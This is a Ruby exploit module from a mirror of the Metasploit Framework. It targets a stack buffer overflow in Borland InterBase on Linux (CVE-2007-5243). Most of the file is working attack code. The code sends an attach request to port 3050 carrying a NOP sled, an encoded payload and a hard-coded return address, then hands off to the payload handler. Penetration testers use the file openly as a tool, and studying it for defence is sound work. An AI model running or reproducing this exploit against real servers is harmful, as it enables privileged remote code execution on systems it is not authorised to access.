mirror of
https://github.com/rapid7/metasploit-framework
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122 lines
2.1 KiB
Ruby
122 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Borland InterBase PWD_db_aliased() Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Borland InterBase
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by sending a specially crafted attach request.
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},
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'Version' => '$Revision$',
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'Author' =>
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[
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'ramon',
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'Adriano Lima <adriano@risesecurity.org>',
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],
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'Arch' => ARCH_X86,
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'Platform' => 'linux',
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'References' =>
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[
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[ 'CVE', '2007-5243' ],
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[ 'OSVDB', '38607' ],
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[ 'BID', '25917' ],
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[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
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],
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'Privileged' => true,
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'License' => MSF_LICENSE,
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x00\x2f\x3a\x40\x5c",
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},
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'Targets' =>
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[
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# 0x0804cbe4 pop esi; pop ebp; ret
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[
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'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
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{ 'Ret' => 0x0804cbe4 }
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 03 2007'
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))
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register_options(
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[
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Opt::RPORT(3050)
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],
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self.class
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)
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end
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def exploit
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connect
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# Attach database
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op_attach = 19
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length = 1152
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remainder = length.remainder(4)
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padding = 0
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if remainder > 0
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padding = (4 - remainder)
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end
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buf = ''
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# Operation/packet type
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buf << [op_attach].pack('N')
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# Id
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buf << [0].pack('N')
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# Length
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buf << [length].pack('N')
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# It will return into this nop block
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buf << make_nops(length - payload.encoded.length - 4)
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# Payload
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buf << payload.encoded
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# Target
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buf << [target.ret].pack('V')
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# Padding
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buf << "\x00" * padding
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# Length
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buf << [1024].pack('N')
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# Random alpha data
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buf << rand_text_alpha(1024)
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sock.put(buf)
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handler
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end
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end
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